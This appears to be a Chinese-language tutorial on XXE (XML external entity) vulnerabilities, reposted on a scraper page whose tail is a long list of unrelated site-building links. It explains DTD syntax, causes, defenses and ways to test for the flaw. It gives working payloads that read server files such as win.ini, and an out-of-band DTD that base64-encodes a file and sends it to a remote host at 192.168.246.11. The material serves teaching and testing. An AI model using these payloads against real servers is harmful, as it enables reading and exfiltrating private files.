当前位置: 首页 > news >正文

落地页网站建设校园推广活动

落地页网站建设,校园推广活动,四川网站备案咨询网,怎样自己制作手机app软件xml是扩展性标记语言,来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,一般无法直接打开,可以选择用excl或记事本打…

xml是扩展性标记语言来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明DTD文档类型定义(可选)、文档元素一般无法直接打开,可以选择用excl或记事本打开。

语言示例<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>   //xml声明、版本、编码

xml是描述数据,重点是---什么是数据,如何存放数据。

html是显示数据,重点是---显示数据一级如何显示数据更好

漏洞产生原因

1、危险函数loadxml

2、使用的php版本低,libmxl低于2.9.1的版本都有可能有这些问题。如果libxml_disable_entity_loader设置成FALSE也会有漏洞

<?xml version = "1.0"?> <!DOCTYPE  ANY [<!ENTITY f SYSTEM "file:///C://1.txt">]><x>&f;</x>

<?xml version=”1.0” ?>  <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>

<?xml version=”1.0” ?> 是声明

<!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]>是DTD类型定义,其中

ANY是文档类型,to,from,heading,body,这些都是文档类型

file:///C://1.txt 是调用的文件,file后面可以换成其他的

SYSTEM这个是外部声明格式,没有system是内部声明

<x>&f;</x>是文档元素
f 是调用f实体

防御方法

升级php版本

重新修改代码

过滤关键词 <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

测试

白盒测试:看特征loadxml

黑盒测试:

1、抓包,看响应体是否存在xml,如果没有明显特征看响应体accept头是不是*/*

响应体如果是xml一般是有特征,参考:https://www.cnblogs.com/Open-ing/p/12061720.html

2、看看url文件名是否.ashx后缀的拓展名;

3、把content-type里面的json改成xml;

DTD攻击---一般都是读文件

Document Type Definition 文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema

DTD 内部声明,DTD 外部声明,引用公共 DTD

可以参考连接:DTD 教程

payload结构

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C://2.txt">]>
<foo>&xxe;</foo>

XXE网站

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C://2.txt">]>
<foo>&xxe;</foo>

读服务器的文件win.inin

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

攻击

有回显:

直接看回显内容

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

无回显:

建立*.dtd  调用受害者的apache的log日志  返回到指定的服务器文件中

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/2.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.246.11:80/?p=%file;'>">

调用xml读取内容

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.246.11:80/xxe2/test.dtd">
%remote;%int;%send;
]>

可以参考相关文件:一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

http://www.yayakq.cn/news/975607/

相关文章:

  • 做一个公司的网站应做哪些准备工作内容android应用开发教程
  • 河北网站建设和运营wordpress 弹出登录框
  • 安卓应用开发环境濮阳网站建设0393seo
  • 网站网站建设考虑要素大型门户网站建设一般多少钱
  • 用sqlite3做网站做预算查市场价格的网站
  • 搭建网站做财务系统用什么软件做网站原型
  • 北京网站建设手机app电子商务泉州地区网站建设公司
  • 网站建设的规划和设计中企建网站
  • 建站平台在线提交功能wordpress 验证码不显示
  • 汕头门户网站建设上海代理注册公司
  • 4s店网站建设方案公司网页注册
  • destoon做的网站wordpress放哪个文件夹
  • 网站建设电话推广话术jsp手机销售网站的建设
  • 网站的开发环境怎么写凡客诚品羽绒服
  • 江苏省建设厅官方网站资质查询网络推广页面
  • 大型视频网站建设方案网站建设源程序代码
  • php网站开发工程师笔试上海网站备案咨询
  • 网页制作与网站建设题注册资金可以乱写吗
  • 常宁市网站建设设计师个人网站
  • 网站页脚淘宝客单页网站
  • 货物公司网站建设方案杭州微网站建设
  • 做网站如何配置自己的电脑西安公司招聘
  • 绍兴网站建站模板安卓app制作入门教程
  • 网站行程表怎么做浙江省住房和城乡建设局网站首页
  • 百度蜘蛛网站排名杭州网站app开发公司
  • 潍坊网站建设SEO优化html5新特性
  • 一流学科建设专题网站宁波建站模板源码
  • 建筑图集网站网站套站是什么意思
  • 兼容ie8的网站模板电子设计工程期刊
  • 网站设计风格怎么写网页在线设计